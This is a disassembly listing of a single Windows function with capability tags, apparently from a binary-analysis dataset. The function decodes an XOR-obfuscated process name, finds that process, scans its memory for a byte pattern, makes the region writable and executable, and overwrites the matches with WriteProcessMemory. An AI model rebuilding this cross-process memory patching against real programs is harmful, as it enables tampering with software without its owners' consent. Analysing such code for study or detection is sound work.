Function at 0x140009b80
Capabilities:
Allocate or change rwx memory
Enumerate processes
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x1400d4098]
xor rax, rsp
mov qword [rbp + 0x350], rax
mov qword [rsp + 0x70], rdx
mov qword [rbp - 0x20], rcx
mov dword [rbp - 0x28], 0
mov byte [rsp + 0x38], WSAStartup
mov al, reloc.WS2_32.dll_gethostname
mov cl, 0x35
mov dl, 0x5c
mov r8b, reloc.WLDAP32.dll_Ordinal_33
mov r9b, Ordinal_30
mov r10b, reloc.WS2_32.dll_recv
mov r11b, 8
mov bl, reloc.WS2_32.dll_sendto
mov dil, 3
mov sil, 0x5f
movzx r14d, bl
mov r15b, 9
movzx r12d, bl
xor r13d, r13d
xor al, 0x71
mov byte [rsp + 0x39], al
xor cl, 0x71
mov byte [rsp + 0x3a], cl
xor dl, 0x71
mov byte [rsp + 0x3b], dl
xor r8b, 0x71
mov byte [rsp + 0x3c], r8b
xor r9b, 0x71
mov byte [rsp + 0x3d], r9b
xor r10b, 0x71
mov byte [rsp + 0x3e], r10b
xor r11b, 0x71
mov byte [rsp + 0x3f], r11b
xor bl, 0x71
mov byte [rsp + 0x40], bl
xor dil, 0x71
mov byte [rsp + 0x41], dil
xor sil, 0x71
mov byte [rsp + 0x42], sil
xor r14b, 0x71
mov byte [rsp + 0x43], r14b
xor r15b, 0x71
mov byte [rsp + 0x44], r15b
xor r12b, 0x71
mov byte [rsp + 0x45], r12b
mov byte [rsp + 0x46], r13b
mov edi, r13d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140009cc1
mov dword [rbp + 0x220], 0x130
lea rdx, [rbp + 0x220]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140009cc1
lea rdx, [rsp + 0x39]
lea rcx, [rbp + 0x24c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140009cbb
lea rdx, [rbp + 0x220]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x140009c8f
mov edi, dword [rbp + 0x228]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
xor edx, edx
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000a48e
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rsp + 0x48], r13
mov qword [rbp + 8], r13
xor esi, esi
mov qword [rbp + 0x10], rsi
xor r15d, r15d
mov qword [rsp + 0x68], r15
mov qword [rbp + 0x18], r15
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rbp + 0x20], rbx
xor r12d, r12d
mov qword [rbp + 0x28], r12
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x30], rax
xor edx, edx
mov r8d, 0xf0
lea rcx, [rbp + 0x130]
call sub.VCRUNTIME140.dll_memset
lea rbx, [0x1400c1638]
mov qword [rbp + 0x130], rbx
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x28], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x12c], edx
lea rax, [rbp + 0x140]
mov qword [rsp + 0x38], rax
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rdi, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x140], rdi
mov rax, qword [rbp - 0x20]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140009dea
mov rax, qword [rax]
mov r9d, 2
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.140013a20
nop
xor edx, edx
mov r8d, 0xf0
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x40], rbx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x28], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x3c], edx
lea rax, [rbp + 0x50]
mov qword [rsp + 0x38], rax
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov qword [rbp + 0x50], rdi
mov rax, qword [rsp + 0x70]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140009e90
mov rax, qword [rax]
mov r9d, 2
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140013a20
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], 0
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x18], 0
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x130]
call fcn.140013c90
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140009f95
xor r13d, r13d
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rbx, qword [rbp - 0x18]
mov dword [rax], r13d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rsp + 0x70]
je 0x14000a029
cmp dword [rdi], 0x22
je 0x14000a01b
mov byte [rsp + 0x30], al
cmp rsi, r15
je 0x140009f46
mov byte [rsi], al
inc rsi
mov qword [rbp + 0x10], rsi
jmp 0x140009f64
lea r8, [rsp + 0x30]
mov rdx, rsi
lea rcx, [rbp + 8]
call fcn.140016580
mov r15, qword [rbp + 0x18]
mov qword [rsp + 0x68], r15
mov rsi, qword [rbp + 0x10]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x130]
call fcn.140013c90
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140009ef0
mov r13, qword [rbp + 8]
mov qword [rsp + 0x48], r13
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x40]
call fcn.140013c90
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14000a086
mov r15, qword [rsp + 0x60]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rbx, qword [rbp - 0x18]
mov dword [rax], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rsp + 0x70]
je 0x14000a153
cmp dword [rdi], 0x22
je 0x14000a145
mov byte [rsp + 0x30], al
cmp r12, r15
je 0x14000a037
mov byte [r12], al
inc r12
mov qword [rbp + 0x28], r12
jmp 0x14000a058
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
lea r8, [rsp + 0x30]
mov rdx, r12
lea rcx, [rbp + 0x20]
call fcn.140016580
mov rax, qword [rbp + 0x30]
mov qword [rsp + 0x60], rax
mov r12, qword [rbp + 0x28]
mov r15, rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x40]
call fcn.140013c90
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140009fc0
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x38], rax
mov r15, qword [rbp - 0x50]
cmp r15, rax
jae 0x14000a34d
nop word [rax + rax]
mov r9d, Ordinal_50
lea r8, [rsp + 0x78]
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test rax, rax
je 0x14000a348
mov byte [0x1400d5145], 1
cmp dword [rbp - 0x68], 0x1000
jne 0x14000a2b0
test byte [rbp - 0x64], 4
je 0x14000a2b0
mov rbx, qword [rbp - 0x70]
xor edi, edi
xor r13d, r13d
test rbx, rbx
je 0x14000a181
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x14000a4b8
cmp rbx, 0x1000
jb 0x14000a161
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x14000a4be
call fcn.1400aaf4c
test rax, rax
je 0x14000a341
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000a16c
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
int3
mov rcx, rbx
call fcn.1400aaf4c
mov rdi, rax
lea r13, [rdi + rbx]
mov r8, rbx
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov rbx, qword [rbp - 0x70]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8, rdi
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000a278
mov r14, rsi
mov rdx, qword [rsp + 0x48]
sub r14, rdx
mov rsi, qword [rbp - 0x20]
cmp rsi, r14
je 0x14000a273
mov rbx, r15
mov rax, rdi
sub rax, r15
mov qword [rsp + 0x70], rax
nop word [rax + rax]
lea rcx, [rax + rbx]
mov r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000a251
mov rsi, r12
sub rsi, qword [rsp + 0x58]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, rsi
mov rdx, rbx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], 0
mov r9, rsi
mov r8, qword [rsp + 0x58]
mov rdx, rbx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000a2c8
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x28]
mov r8, rsi
mov rdx, rbx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rsi, qword [rbp - 0x20]
inc rbx
mov rcx, rbx
sub rcx, r15
mov rax, rsi
sub rax, r14
cmp rcx, rax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
jb 0x14000a1d0
mov r14, qword [rsp + 0x50]
test rdi, rdi
je 0x14000a2b0
sub r13, rdi
cmp r13, 0x1000
jb 0x14000a2a5
add r13, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x14000a341
mov rdi, rcx
mov rdx, r13
mov rcx, rdi
call fcn.1400ab1d8
add r15, qword [rbp - 0x70]
cmp r15, qword [rsp + 0x38]
jae 0x14000a348
mov rsi, qword [rbp + 0x10]
jmp 0x14000a0b0
test rdi, rdi
je 0x14000a2fc
sub r13, rdi
cmp r13, 0x1000
jb 0x14000a2f1
add r13, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x14000a33a
mov rdi, rcx
mov rdx, r13
mov rcx, rdi
call fcn.1400ab1d8
mov r13, qword [rsp + 0x48]
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14000a364
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a35f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a35f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r13, qword [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1400d5145], 0
jmp 0x14000a301
call fcn.1400ab1d8
mov qword [rbp - 8], 0
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x18], 0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], rbx
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x50]
call fcn.140012b00
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rbx
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x140]
call fcn.140012b00
lea rcx, [rbp + 0x148]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000a451
mov rdx, qword [rsp + 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a44b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a44b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ab1d8
nop
test r13, r13
je 0x14000a48e
mov rdx, qword [rsp + 0x68]
sub rdx, r13
mov rax, r13
cmp rdx, 0x1000
jb 0x14000a486
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a486
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.1400ab1d8
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400aac90
mov rbx, qword [rsp + 0x4b0]
add rsp, 0x460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400161e0
nop
call fcn.1400018e0
int3